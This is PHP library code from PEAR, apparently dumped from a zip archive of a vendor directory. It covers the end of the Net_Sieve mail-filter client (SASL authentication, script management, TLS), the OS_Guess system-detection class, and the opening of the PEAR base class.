        if (is_a($response, 'PEAR_Error')) {
            return $response;
        }

        $result = $this->_sendStringResponse(base64_encode($response));
        if (is_a($result, 'PEAR_Error')) {
            return $result;
        }

        $result = $this->_doCmd('', true);
        if (is_a($result, 'PEAR_Error')) {
            return $result;
        }

        if ($this->_toUpper(substr($result, 0, 2)) == 'OK') {
            return;
        }

        /* We don't use the protocol's third step because SIEVE doesn't allow
         * subsequent authentication, so we just silently ignore it. */
        $result = $this->_sendStringResponse('');
        if (is_a($result, 'PEAR_Error')) {
            return $result;
        }

        return $this->_doCmd();
    }

    /**
     * Authenticates the user using the EXTERNAL method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $pass  The password to authenticate with.
     * @param string $euser The effective uid to authenticate as.
     *
     * @return void
     *
     * @since 1.1.7
     */
    function _authEXTERNAL($user, $pass, $euser)
    {
        $cmd = sprintf(
            'AUTHENTICATE "EXTERNAL" "%s"',
            base64_encode(strlen($euser) ? $euser : $user)
        );

        return $this->_sendCmd($cmd);
    }

    /**
     * Authenticates the user using the XOAUTH2 method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $token The access token prefixed by it's type
     *                      example: "Bearer $access_token".
     * @param string $euser The effective uid to authenticate as.
     *
     * @return void
     */
    function _authXOAUTH2($user, $token, $euser)
    {
        // default to $user if $euser is not set
        if (! $euser) {
            $euser = $user;
        }

        $auth = base64_encode("user=$euser\001auth=$token\001\001");
        return $this->_sendCmd("AUTHENTICATE \"XOAUTH2\" \"$auth\"");
    }

    /**
     * Authenticates the user using the OAUTHBEARER method.
     *
     * @param string $user  The userid to authenticate as.
     * @param string $token The access token prefixed by it's type
     *                      example: "Bearer $access_token".
     * @param string $euser The effective uid to authenticate as.
     *
     * @return void
     *
     * @see https://www.rfc-editor.org/rfc/rfc7628.html
     * @since 1.4.7
     */
    function _authOAUTHBEARER($user, $token, $euser)
    {
        // default to $user if $euser is not set
        if (! $euser) {
            $euser = $user;
        }

        $auth = base64_encode("n,a=$euser\001auth=$token\001\001");
        return $this->_sendCmd("AUTHENTICATE \"OAUTHBEARER\" \"$auth\"");
    }

    /**
     * Removes a script from the server.
     *
     * @param string $scriptname Name of the script to delete.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function _cmdDeleteScript($scriptname)
    {
        if (NET_SIEVE_STATE_TRANSACTION != $this->_state) {
            return $this->_pear->raiseError('Not currently in AUTHORISATION state', 1);
        }

        $res = $this->_doCmd(sprintf('DELETESCRIPT %s', $this->_escape($scriptname)));
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        return true;
    }

    /**
     * Retrieves the contents of the named script.
     *
     * @param string $scriptname Name of the script to retrieve.
     *
     * @return string|PEAR_Error The script if successful, PEAR_Error otherwise.
     */
    function _cmdGetScript($scriptname)
    {
        if (NET_SIEVE_STATE_TRANSACTION != $this->_state) {
            return $this->_pear->raiseError('Not currently in AUTHORISATION state', 1);
        }

        $res = $this->_doCmd(sprintf('GETSCRIPT %s', $this->_escape($scriptname)));
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        return preg_replace('/^{[0-9]+}\r\n/', '', $res);
    }

    /**
     * Sets the active script, i.e. the one that gets run on new mail by the
     * server.
     *
     * @param string $scriptname The name of the script to mark as active.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function _cmdSetActive($scriptname)
    {
        if (NET_SIEVE_STATE_TRANSACTION != $this->_state) {
            return $this->_pear->raiseError('Not currently in AUTHORISATION state', 1);
        }

        $res = $this->_doCmd(sprintf('SETACTIVE %s', $this->_escape($scriptname)));
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        return true;
    }

    /**
     * Returns the list of scripts on the server.
     *
     * @return array  An array with the list of scripts in the first element
     *                and the active script in the second element on success,
     *                PEAR_Error otherwise.
     */
    function _cmdListScripts()
    {
        if (NET_SIEVE_STATE_TRANSACTION != $this->_state) {
            return $this->_pear->raiseError('Not currently in AUTHORISATION state', 1);
        }

        $res = $this->_doCmd('LISTSCRIPTS');
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        $scripts = [];
        $activescript = null;
        $res = explode("\r\n", $res);
        foreach ($res as $value) {
            if (preg_match('/^"(.*)"( ACTIVE)?$/i', $value, $matches)) {
                $script_name = stripslashes($matches[1]);
                $scripts[] = $script_name;
                if (!empty($matches[2])) {
                    $activescript = $script_name;
                }
            }
        }

        return [$scripts, $activescript];
    }

    /**
     * Adds a script to the server.
     *
     * @param string $scriptname Name of the new script.
     * @param string $scriptdata The new script.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function _cmdPutScript($scriptname, $scriptdata)
    {
        if (NET_SIEVE_STATE_TRANSACTION != $this->_state) {
            return $this->_pear->raiseError('Not currently in AUTHORISATION state', 1);
        }

        $stringLength = $this->_getLineLength($scriptdata);
        $command      = sprintf(
            "PUTSCRIPT %s {%d+}\r\n%s",
            $this->_escape($scriptname),
            $stringLength,
            $scriptdata
        );

        $res = $this->_doCmd($command);
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        return true;
    }

    /**
     * Logs out of the server and terminates the connection.
     *
     * @param bool $sendLogoutCMD Whether to send LOGOUT command before
     *                            disconnecting.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function _cmdLogout($sendLogoutCMD = true)
    {
        if (NET_SIEVE_STATE_DISCONNECTED == $this->_state) {
            return $this->_pear->raiseError('Not currently connected', 1);
        }

        if ($sendLogoutCMD) {
            $res = $this->_doCmd('LOGOUT');
            if (is_a($res, 'PEAR_Error')) {
                return $res;
            }
        }

        $this->_sock->disconnect();
        $this->_state = NET_SIEVE_STATE_DISCONNECTED;

        return true;
    }

    /**
     * Sends the CAPABILITY command
     *
     * @return bool|PEAR_Error True on success, PEAR_Error otherwise.
     */
    function _cmdCapability()
    {
        if (NET_SIEVE_STATE_DISCONNECTED == $this->_state) {
            return $this->_pear->raiseError('Not currently connected', 1);
        }
        $res = $this->_doCmd('CAPABILITY');
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }
        $this->_parseCapability($res);
        return true;
    }

    /**
     * Parses the response from the CAPABILITY command and stores the result
     * in $_capability.
     *
     * @param string $data The response from the capability command.
     *
     * @return void
     */
    function _parseCapability($data)
    {
        // Clear the cached capabilities.
        $this->_capability = ['sasl' => [], 'extensions' => []];

        $data = preg_split('/\r?\n/', $this->_toUpper($data), -1, PREG_SPLIT_NO_EMPTY);

        for ($i = 0; $i < count($data); $i++) {
            if (!preg_match('/^"([A-Z]+)"( "(.*)")?$/', $data[$i], $matches)) {
                continue;
            }
            switch ($matches[1]) {
            case 'IMPLEMENTATION':
                $this->_capability['implementation'] = $matches[3];
                break;

            case 'SASL':
                if (!empty($matches[3])) {
                    $this->_capability['sasl'] = preg_split('/\s+/', $matches[3]);
                }
                break;

            case 'SIEVE':
                if (!empty($matches[3])) {
                    $this->_capability['extensions'] = preg_split('/\s+/', $matches[3]);
                }
                break;

            case 'STARTTLS':
                $this->_capability['starttls'] = true;
                break;
            }
        }
    }

    /**
     * Sends a command to the server
     *
     * @param string $cmd The command to send.
     *
     * @return void
     */
    function _sendCmd($cmd)
    {
        $status = $this->_sock->getStatus();
        if (is_a($status, 'PEAR_Error') || $status['eof']) {
            return $this->_pear->raiseError('Failed to write to socket: connection lost');
        }
        $error = $this->_sock->write($cmd . "\r\n");
        if (is_a($error, 'PEAR_Error')) {
            return $this->_pear->raiseError(
                'Failed to write to socket: ' . $error->getMessage()
            );
        }
        $this->_debug("C: $cmd");
    }

    /**
     * Sends a string response to the server.
     *
     * @param string $str The string to send.
     *
     * @return void
     */
    function _sendStringResponse($str)
    {
        return $this->_sendCmd('{' . $this->_getLineLength($str) . "+}\r\n" . $str);
    }

    /**
     * Receives a single line from the server.
     *
     * @return string  The server response line.
     */
    function _recvLn()
    {
        $lastline = $this->_sock->gets(8192);
        if (is_a($lastline, 'PEAR_Error')) {
            return $this->_pear->raiseError(
                'Failed to read from socket: ' . $lastline->getMessage()
            );
        }

        $lastline = rtrim($lastline);
        $this->_debug("S: $lastline");

        if ($lastline === '') {
            return $this->_pear->raiseError('Failed to read from socket');
        }

        return $lastline;
    }

    /**
     * Receives a number of bytes from the server.
     *
     * @param int $length Number of bytes to read.
     *
     * @return string The server response.
     */
    function _recvBytes($length)
    {
        $response = '';
        $response_length = 0;
        while ($response_length < $length) {
            $response .= $this->_sock->read($length - $response_length);
            $response_length = $this->_getLineLength($response);
        }
        $this->_debug('S: ' . rtrim($response));
        return $response;
    }

    /**
     * Send a command and retrieves a response from the server.
     *
     * @param string $cmd  The command to send.
     * @param bool   $auth Whether this is an authentication command.
     *
     * @return string|PEAR_Error Reponse string if an OK response, PEAR_Error
     *                           if a NO response.
     */
    function _doCmd($cmd = '', $auth = false)
    {
        $referralCount = 0;
        while ($referralCount < $this->_maxReferralCount) {
            if (strlen($cmd)) {
                $error = $this->_sendCmd($cmd);
                if (is_a($error, 'PEAR_Error')) {
                    return $error;
                }
            }

            $response = '';
            while (true) {
                $line = $this->_recvLn();
                if (is_a($line, 'PEAR_Error')) {
                    return $line;
                }

                if (preg_match('/^(OK|NO)/i', $line, $tag)) {
                    // Check for string literal message.
                    if (preg_match('/{([0-9]+)}$/', $line, $matches)) {
                        $line = substr($line, 0, -(strlen($matches[1]) + 2))
                            . str_replace(
                                "\r\n", ' ', $this->_recvBytes($matches[1] + 2)
                            );
                    }

                    if ('OK' == $this->_toUpper($tag[1])) {
                        $response .= $line;
                        return rtrim($response);
                    }

                    return $this->_pear->raiseError(trim($response . substr($line, 2)), 3);
                }

                if (preg_match('/^BYE/i', $line)) {
                    $error = $this->disconnect(false);
                    if (is_a($error, 'PEAR_Error')) {
                        return $this->_pear->raiseError(
                            'Cannot handle BYE, the error was: '
                            . $error->getMessage(),
                            4
                        );
                    }
                    // Check for referral, then follow it.  Otherwise, carp an
                    // error.
                    if (preg_match('/^bye \(referral "(sieve:\/\/)?([^"]+)/i', $line, $matches)) {
                        // Replace the old host with the referral host
                        // preserving any protocol prefix.
                        $this->_data['host'] = preg_replace(
                            '/\w+(?!(\w|\:\/\/)).*/', $matches[2],
                            $this->_data['host']
                        );
                        $error = $this->_handleConnectAndLogin();
                        if (is_a($error, 'PEAR_Error')) {
                            return $this->_pear->raiseError(
                                'Cannot follow referral to '
                                . $this->_data['host'] . ', the error was: '
                                . $error->getMessage(),
                                5
                            );
                        }
                        break;
                    }
                    return $this->_pear->raiseError(trim($response . $line), 6);
                }

                if (preg_match('/^{([0-9]+)}/', $line, $matches)) {
                    // Matches literal string responses.
                    $line = $this->_recvBytes($matches[1] + 2);
                    if (!$auth) {
                        // Receive the pending OK only if we aren't
                        // authenticating since string responses during
                        // authentication don't need an OK.
                        $this->_recvLn();
                    }
                    return $line;
                }

                if ($auth) {
                    // String responses during authentication don't need an
                    // OK.
                    $response .= $line;
                    return rtrim($response);
                }

                $response .= $line . "\r\n";
                $referralCount++;
            }
        }

        return $this->_pear->raiseError('Max referral count (' . $referralCount . ') reached. Cyrus murder loop error?', 7);
    }

    /**
     * Returns the name of the best authentication method that the server
     * has advertised.
     *
     * @param string $userMethod Only consider this method as available.
     *
     * @return string The name of the best supported authentication method or
     *                a PEAR_Error object on failure.
     */
    function _getBestAuthMethod($userMethod = null)
    {
        if (!isset($this->_capability['sasl'])) {
            return $this->_pear->raiseError('This server doesn\'t support any authentication methods. SASL problem?');
        }

        if (!$this->_capability['sasl']) {
            return $this->_pear->raiseError('This server doesn\'t support any authentication methods.');
        }

        if ($userMethod) {
            // special case of OAUTH, use the supported method
            if ($userMethod === 'OAUTH') {
                foreach (['OAUTHBEARER', 'XOAUTH2'] as $method) {
                    if (in_array($method, $this->_capability['sasl'])) {
                        return $method;
                    }
                }
            } elseif (in_array($userMethod, $this->_capability['sasl'])) {
                return $userMethod;
            }

            $msg = 'No supported authentication method found. The server supports these methods: %s, but we want to use: %s';
            return $this->_pear->raiseError(
                sprintf($msg, implode(', ', $this->_capability['sasl']), $userMethod)
            );
        }

        foreach ($this->supportedAuthMethods as $method) {
            if (in_array($method, $this->_capability['sasl'])) {
                return $method;
            }
        }

        $msg = 'No supported authentication method found. The server supports these methods: %s, but we only support: %s';
        return $this->_pear->raiseError(
            sprintf($msg, implode(', ', $this->_capability['sasl']), implode(', ', $this->supportedAuthMethods))
        );
    }

    /**
     * Starts a TLS connection.
     *
     * @return bool|PEAR_Error True on success, PEAR_Error on failure.
     */
    function _startTLS()
    {
        $res = $this->_doCmd('STARTTLS');
        if (is_a($res, 'PEAR_Error')) {
            return $res;
        }

        if (isset($this->_options['ssl']['crypto_method'])) {
            $crypto_method = $this->_options['ssl']['crypto_method'];
        } else {
            // There is no flag to enable all TLS methods. Net_SMTP
            // handles enabling TLS similarly.
            $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT
                | @STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
                | @STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
        }

        if (!stream_socket_enable_crypto($this->_sock->fp, true, $crypto_method)) {
            return $this->_pear->raiseError('Failed to establish TLS connection', 2);
        }

        $this->_debug('STARTTLS negotiation successful');

        // The server should be sending a CAPABILITY response after
        // negotiating TLS. Read it, and ignore if it doesn't.
        // Unfortunately old Cyrus versions are broken and don't send a
        // CAPABILITY response, thus we would wait here forever. Parse the
        // Cyrus version and work around this broken behavior.
        if (empty($this->_capability['implementation'])
            || !preg_match('/^CYRUS TIMSIEVED V([0-9.]+)/', $this->_capability['implementation'], $matches)
            || version_compare($matches[1], '2.3.10', '>=')
        ) {
            $res = $this->_doCmd();
        }

        // Reset capabilities (use unattended capabilities)
        $this->_parseCapability(is_string($res) ? $res : '');

        // Query the server capabilities again now that we are under encryption.
        if (empty($this->_capability['implementation'])) {
            $res = $this->_cmdCapability();
            if (is_a($res, 'PEAR_Error')) {
                return $this->_pear->raiseError(
                    'Failed to connect, server said: ' . $res->getMessage(), 2
                );
            }
        }

        return true;
    }

    /**
     * Returns the length of a string.
     *
     * @param string $string A string.
     *
     * @return int The length of the string.
     */
    function _getLineLength($string)
    {
        if (extension_loaded('mbstring')) {
            return mb_strlen($string, '8bit');
        } else {
            return strlen($string);
        }
    }

    /**
     * Locale independant strtoupper() implementation.
     *
     * @param string $string The string to convert to lowercase.
     *
     * @return string The lowercased string, based on ASCII encoding.
     */
    function _toUpper($string)
    {
        $language = setlocale(LC_CTYPE, 0);
        setlocale(LC_CTYPE, 'C');
        $string = strtoupper($string);
        setlocale(LC_CTYPE, $language);
        return $string;
    }

    /**
     * Converts strings into RFC's quoted-string or literal-c2s form.
     *
     * @param string $string The string to convert.
     *
     * @return string Result string.
     */
    function _escape($string)
    {
        // Some implementations don't allow UTF-8 characters in quoted-string,
        // use literal-c2s.
        if (preg_match('/[^\x01-\x09\x0B-\x0C\x0E-\x7F]/', $string)) {
            return sprintf("{%d+}\r\n%s", $this->_getLineLength($string), $string);
        }

        return '"' . addcslashes($string, '\\"') . '"';
    }

    /**
     * Write debug text to the current debug output handler.
     *
     * @param string $message Debug message text.
     *
     * @return void
     */
    function _debug($message)
    {
        if ($this->_debug) {
            if ($this->_debug_handler) {
                call_user_func_array($this->_debug_handler, [$this, $message]);
            } else {
                echo "$message\n";
            }
        }
    }
}
PK
h�\�]<--.vendor/pear/pear-core-minimal/src/OS/Guess.phpnu�[���<?php
/**
 * The OS_Guess class
 *
 * PHP versions 4 and 5
 *
 * @category  pear
 * @package   PEAR
 * @author    Stig Bakken <ssb@php.net>
 * @author    Gregory Beaver <cellog@php.net>
 * @copyright 1997-2009 The Authors
 * @license   http://opensource.org/licenses/bsd-license.php New BSD License
 * @link      http://pear.php.net/package/PEAR
 * @since     File available since PEAR 0.1
 */

// {{{ uname examples

// php_uname() without args returns the same as 'uname -a', or a PHP-custom
// string for Windows.
// PHP versions prior to 4.3 return the uname of the host where PHP was built,
// as of 4.3 it returns the uname of the host running the PHP code.
//
// PC RedHat Linux 7.1:
// Linux host.example.com 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown
//
// PC Debian Potato:
// Linux host 2.4.17 #2 SMP Tue Feb 12 15:10:04 CET 2002 i686 unknown
//
// PC FreeBSD 3.3:
// FreeBSD host.example.com 3.3-STABLE FreeBSD 3.3-STABLE #0: Mon Feb 21 00:42:31 CET 2000     root@example.com:/usr/src/sys/compile/CONFIG  i386
//
// PC FreeBSD 4.3:
// FreeBSD host.example.com 4.3-RELEASE FreeBSD 4.3-RELEASE #1: Mon Jun 25 11:19:43 EDT 2001     root@example.com:/usr/src/sys/compile/CONFIG  i386
//
// PC FreeBSD 4.5:
// FreeBSD host.example.com 4.5-STABLE FreeBSD 4.5-STABLE #0: Wed Feb  6 23:59:23 CET 2002     root@example.com:/usr/src/sys/compile/CONFIG  i386
//
// PC FreeBSD 4.5 w/uname from GNU shellutils:
// FreeBSD host.example.com 4.5-STABLE FreeBSD 4.5-STABLE #0: Wed Feb  i386 unknown
//
// HP 9000/712 HP-UX 10:
// HP-UX iq B.10.10 A 9000/712 2008429113 two-user license
//
// HP 9000/712 HP-UX 10 w/uname from GNU shellutils:
// HP-UX host B.10.10 A 9000/712 unknown
//
// IBM RS6000/550 AIX 4.3:
// AIX host 3 4 000003531C00
//
// AIX 4.3 w/uname from GNU shellutils:
// AIX host 3 4 000003531C00 unknown
//
// SGI Onyx IRIX 6.5 w/uname from GNU shellutils:
// IRIX64 host 6.5 01091820 IP19 mips
//
// SGI Onyx IRIX 6.5:
// IRIX64 host 6.5 01091820 IP19
//
// SparcStation 20 Solaris 8 w/uname from GNU shellutils:
// SunOS host.example.com 5.8 Generic_108528-12 sun4m sparc
//
// SparcStation 20 Solaris 8:
// SunOS host.example.com 5.8 Generic_108528-12 sun4m sparc SUNW,SPARCstation-20
//
// Mac OS X (Darwin)
// Darwin home-eden.local 7.5.0 Darwin Kernel Version 7.5.0: Thu Aug  5 19:26:16 PDT 2004; root:xnu/xnu-517.7.21.obj~3/RELEASE_PPC  Power Macintosh
//
// Mac OS X early versions
//

// }}}

/* TODO:
 * - define endianness, to allow matchSignature("bigend") etc.
 */

/**
 * Retrieves information about the current operating system
 *
 * This class uses php_uname() to grok information about the current OS
 *
 * @category  pear
 * @package   PEAR
 * @author    Stig Bakken <ssb@php.net>
 * @author    Gregory Beaver <cellog@php.net>
 * @copyright 1997-2020 The Authors
 * @license   http://opensource.org/licenses/bsd-license.php New BSD License
 * @version   Release: @package_version@
 * @link      http://pear.php.net/package/PEAR
 * @since     Class available since Release 0.1
 */
class OS_Guess
{
    var $sysname;
    var $nodename;
    var $cpu;
    var $release;
    var $extra;

    function __construct($uname = null)
    {
        list($this->sysname,
             $this->release,
             $this->cpu,
             $this->extra,
             $this->nodename) = $this->parseSignature($uname);
    }

    function parseSignature($uname = null)
    {
        static $sysmap = array(
            'HP-UX' => 'hpux',
            'IRIX64' => 'irix',
        );
        static $cpumap = array(
            'i586' => 'i386',
            'i686' => 'i386',
            'ppc' => 'powerpc',
        );
        if ($uname === null) {
            $uname = php_uname();
        }
        $parts = preg_split('/\s+/', trim($uname));
        $n = count($parts);

        $release  = $machine = $cpu = '';
        $sysname  = $parts[0];
        $nodename = $parts[1];
        $cpu      = $parts[$n-1];
        $extra = '';
        if ($cpu == 'unknown') {
            $cpu = $parts[$n - 2];
        }

        switch ($sysname) {
            case 'AIX' :
                $release = "$parts[3].$parts[2]";
                break;
            case 'Windows' :
                $release = $parts[1];
                if ($release == '95/98') {
                    $release = '9x';
                }
                $cpu = 'i386';
                break;
            case 'Linux' :
                $extra = $this->_detectGlibcVersion();
                // use only the first two digits from the kernel version
                $release = preg_replace('/^([0-9]+\.[0-9]+).*/', '\1', $parts[2]);
                break;
            case 'Mac' :
                $sysname = 'darwin';
                $nodename = $parts[2];
                $release = $parts[3];
                $cpu = $this->_determineIfPowerpc($cpu, $parts);
                break;
            case 'Darwin' :
                $cpu = $this->_determineIfPowerpc($cpu, $parts);
                $release = preg_replace('/^([0-9]+\.[0-9]+).*/', '\1', $parts[2]);
                break;
            default:
                $release = preg_replace('/-.*/', '', $parts[2]);
                break;
        }

        if (isset($sysmap[$sysname])) {
            $sysname = $sysmap[$sysname];
        } else {
            $sysname = strtolower($sysname);
        }
        if (isset($cpumap[$cpu])) {
            $cpu = $cpumap[$cpu];
        }
        return array($sysname, $release, $cpu, $extra, $nodename);
    }

    function _determineIfPowerpc($cpu, $parts)
    {
        $n = count($parts);
        if ($cpu == 'Macintosh' && $parts[$n - 2] == 'Power') {
            $cpu = 'powerpc';
        }
        return $cpu;
    }

    function _detectGlibcVersion()
    {
        static $glibc = false;
        if ($glibc !== false) {
            return $glibc; // no need to run this multiple times
        }
        $major = $minor = 0;
        include_once "System.php";

        // Let's try reading possible libc.so.6 symlinks
        $libcs = array(
            '/lib64/libc.so.6',
            '/lib/libc.so.6',
            '/lib/i386-linux-gnu/libc.so.6'
        );
        $versions = array();
        foreach ($libcs as $file) {
            $versions = $this->_readGlibCVersionFromSymlink($file);
            if ($versions != []) {
                list($major, $minor) = $versions;
                break;
            }
        }

        // Use glibc's <features.h> header file to
        // get major and minor version number:
        if (!($major && $minor)) {
            $versions = $this->_readGlibCVersionFromFeaturesHeaderFile();
        }
        if (is_array($versions) && $versions != []) {
            list($major, $minor) = $versions;
        }

        if (!($major && $minor)) {
            return $glibc = '';
        }

        return $glibc = "glibc{$major}.{$minor}";
    }

    function _readGlibCVersionFromSymlink($file)
    {
        $versions = array();
        if (@is_link($file)
            && (preg_match('/^libc-(.*)\.so$/', basename(readlink($file)), $matches))
        ) {
            $versions = explode('.', $matches[1]);
        }
        return $versions;
    }


    function _readGlibCVersionFromFeaturesHeaderFile()
    {
        $features_header_file = '/usr/include/features.h';
        if (!(@file_exists($features_header_file)
            && @is_readable($features_header_file))
        ) {
            return array();
        }
        if (!@file_exists('/usr/bin/cpp') || !@is_executable('/usr/bin/cpp')) {
            return $this->_parseFeaturesHeaderFile($features_header_file);
        } // no cpp

        return $this->_fromGlibCTest();
    }

    function _parseFeaturesHeaderFile($features_header_file)
    {
        $features_file = fopen($features_header_file, 'rb');
        while (!feof($features_file)) {
            $line = fgets($features_file, 8192);
            if (!$this->_IsADefinition($line)) {
                continue;
            }
            if (strpos($line, '__GLIBC__')) {
                // major version number #define __GLIBC__ version
                $line = preg_split('/\s+/', $line);
                $glibc_major = trim($line[2]);
                if (isset($glibc_minor)) {
                    break;
                }
                continue;
            }

            if (strpos($line, '__GLIBC_MINOR__')) {
                // got the minor version number
                // #define __GLIBC_MINOR__ version
                $line = preg_split('/\s+/', $line);
                $glibc_minor = trim($line[2]);
                if (isset($glibc_major)) {
                    break;
                }
            }
        }
        fclose($features_file);
        if (!isset($glibc_major) || !isset($glibc_minor)) {
            return array();
        }
        return array(trim($glibc_major), trim($glibc_minor));
    }

    function _IsADefinition($line)
    {
        if ($line === false) {
            return false;
        }
        return strpos(trim($line), '#define') !== false;
    }

    function _fromGlibCTest()
    {
        $major = null;
        $minor = null;

        $tmpfile = System::mktemp("glibctest");
        $fp = fopen($tmpfile, "w");
        fwrite($fp, "#include <features.h>\n__GLIBC__ __GLIBC_MINOR__\n");
        fclose($fp);
        $cpp = popen("/usr/bin/cpp $tmpfile", "r");
        while ($line = fgets($cpp, 1024)) {
            if ($line[0] == '#' || trim($line) == '') {
                continue;
            }

            if (list($major, $minor) = explode(' ', trim($line))) {
                break;
            }
        }
        pclose($cpp);
        unlink($tmpfile);
        if ($major !== null && $minor !== null) {
            return [$major, $minor];
        }
    }

    function getSignature()
    {
        if (empty($this->extra)) {
            return "{$this->sysname}-{$this->release}-{$this->cpu}";
        }
        return "{$this->sysname}-{$this->release}-{$this->cpu}-{$this->extra}";
    }

    function getSysname()
    {
        return $this->sysname;
    }

    function getNodename()
    {
        return $this->nodename;
    }

    function getCpu()
    {
        return $this->cpu;
    }

    function getRelease()
    {
        return $this->release;
    }

    function getExtra()
    {
        return $this->extra;
    }

    function matchSignature($match)
    {
        $fragments = is_array($match) ? $match : explode('-', $match);
        $n = count($fragments);
        $matches = 0;
        if ($n > 0) {
            $matches += $this->_matchFragment($fragments[0], $this->sysname);
        }
        if ($n > 1) {
            $matches += $this->_matchFragment($fragments[1], $this->release);
        }
        if ($n > 2) {
            $matches += $this->_matchFragment($fragments[2], $this->cpu);
        }
        if ($n > 3) {
            $matches += $this->_matchFragment($fragments[3], $this->extra);
        }
        return ($matches == $n);
    }

    function _matchFragment($fragment, $value)
    {
        if (strcspn($fragment, '*?') < strlen($fragment)) {
            $expression = str_replace(
                array('*', '?', '/'),
                array('.*', '.', '\\/'),
                $fragment
            );
            $reg = '/^' . $expression . '\\z/';
            return preg_match($reg, $value);
        }
        return ($fragment == '*' || !strcasecmp($fragment, $value));
    }
}
/*
 * Local Variables:
 * indent-tabs-mode: nil
 * c-basic-offset: 4
 * End:
 */
PK
h�\7�?�����*vendor/pear/pear-core-minimal/src/PEAR.phpnu�[���<?php
/**
 * PEAR, the PHP Extension and Application Repository
 *
 * PEAR class and PEAR_Error class
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Sterling Hughes <sterling@php.net>
 * @author     Stig Bakken <ssb@php.net>
 * @author     Tomas V.V.Cox <cox@idecnet.com>
 * @author     Greg Beaver <cellog@php.net>
 * @copyright  1997-2010 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 0.1
 */

/**#@+
 * ERROR constants
 */
define('PEAR_ERROR_RETURN',     1);
define('PEAR_ERROR_PRINT',      2);
define('PEAR_ERROR_TRIGGER',    4);
define('PEAR_ERROR_DIE',        8);
define('PEAR_ERROR_CALLBACK',  16);
/**
 * WARNING: obsolete
 * @deprecated
 */
define('PEAR_ERROR_EXCEPTION', 32);
/**#@-*/

if (substr(PHP_OS, 0, 3) == 'WIN') {
    define('OS_WINDOWS', true);
    define('OS_UNIX',    false);
    define('PEAR_OS',    'Windows');
} else {
    define('OS_WINDOWS', false);
    define('OS_UNIX',    true);
    define('PEAR_OS',    'Unix'); // blatant assumption
}

$GLOBALS['_PEAR_default_error_mode']     = PEAR_ERROR_RETURN;
$GLOBALS['_PEAR_default_error_options']  = E_USER_NOTICE;
$GLOBALS['_PEAR_destructor_object_list'] = array();
$GLOBALS['_PEAR_shutdown_funcs']         = array();
$GLOBALS['_PEAR_error_handler_stack']    = array();

@ini_set('track_errors', true);

/**
 * Base class for other PEAR classes.  Provides rudimentary
 * emulation of destructors.
 *
 * If you want a destructor in your class, inherit PEAR and make a
 * destructor method called _yourclassname (same name as the
 * constructor, but with a "_" prefix).  Also, in your constructor you
 * have to call the PEAR constructor: $this->PEAR();.
 * The destructor method will be called without parameters.  Note that
 * at in some SAPI implementations (such as Apache), any output during
 * the request shutdown (in which destructors are called) seems to be
 * discarded.  If you need to get any debug information from your
 * destructor, use error_log(), syslog() or something similar.
 *
 * IMPORTANT! To use the emulated destructors you need to create the
 * objects by reference: $obj =& new PEAR_child;
 *
 * @category   pear
 * @package    PEAR
 * @author     Stig Bakken <ssb@php.net>
 * @author     Tomas V.V. Cox <cox@idecnet.com>
 * @author     Greg Beaver <cellog@php.net>
 * @copyright  1997-2006 The PHP Group
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: @package_version@
 * @link       http://pear.php.net/package/PEAR
 * @see        PEAR_Error
 * @since      Class available since PHP 4.0.2
 * @link        http://pear.php.net/manual/en/core.pear.php#core.pear.pear
 */
class PEAR
{
    /**
     * Whether to enable internal debug messages.
     *
     * @var     bool
     * @access  private
     */
    var $_debug = false;

    /**
     * Default error mode for this object.
     *
     * @var     int
     * @access  private
     */
    var $_default_error_mode = null;

    /**
     * Default error options used for this object when error mode
     * is PEAR_ERROR_TRIGGER.
     *
     * @var     int
     * @access  private
     */
    var $_default_error_options = null;

    /**
     * Default error handler (callback) for this object, if error mode is
     * PEAR_ERROR_CALLBACK.
     *
     * @var     string
     * @access  private
     */
    var $_default_error_handler = '';

    /**
     * Which class to use for error objects.
     *
     * @var     string
     * @access  private
     */
    var $_error_class = 'PEAR_Error';

    /**
     * An array of expected errors.
     *
     * @var     array
     * @access  private
     */
    var $_expected_errors = array();

    /**
     * List of methods that can be called both statically and non-statically.
     * @var array
     */
    protected static $bivalentMethods = array(
        'setErrorHandling' => true,
        'raiseError' => true,
        'throwError' => true,
        'pushErrorHandling' => true,
        'popErrorHandling' => true,
    );

    /**
     * Constructor.  Registers this object in
     * $_PEAR_destructor_object_list for destructor emulation if a
     * destructor object exists.
     *
     * @param string $error_class  (optional) which class to use for
     *        error objects, defaults to PEAR_Error.
     * @access public
     * @return void
     */
    function __construct($error_class = null)
    {
        $classname = strtolower(get_class($this));
        if ($this->_debug) {
            print "PEAR constructor called, class=$classname\n";
        }

        if ($error_class !== null) {
            $this->_error_class = $error_class;
        }

        while ($classname && strcasecmp($classname, "pear")) {
            $destructor = "_$classname";
            if (method_exists($this, $destructor)) {
                global $_PEAR_destructor_object_list;
                $_PEAR_destructor_object_list[] = $this;
                if (!isset($GLOBALS['_PEAR_SHUTDOWN_REGISTERED'])) {
                    register_shutdown_function("_PEAR_call_destructors");
                    $GLOBALS['_PEAR_SHUTDOWN_REGISTERED'] = true;
                }
                break;
            } else {
                $classname = get_parent_class($classname);
            }
        }
    }

    /**
     * Only here for backwards compatibility.
     * E.g. Archive_Tar calls $this->PEAR() in its constructor.
     *
     * @param string $error_class Which class to use for error objects,
     *                            defaults to PEAR_Error.
     */
    public function PEAR($error_class = null)
    {
        self::__construct($error_class);
    }

    /**
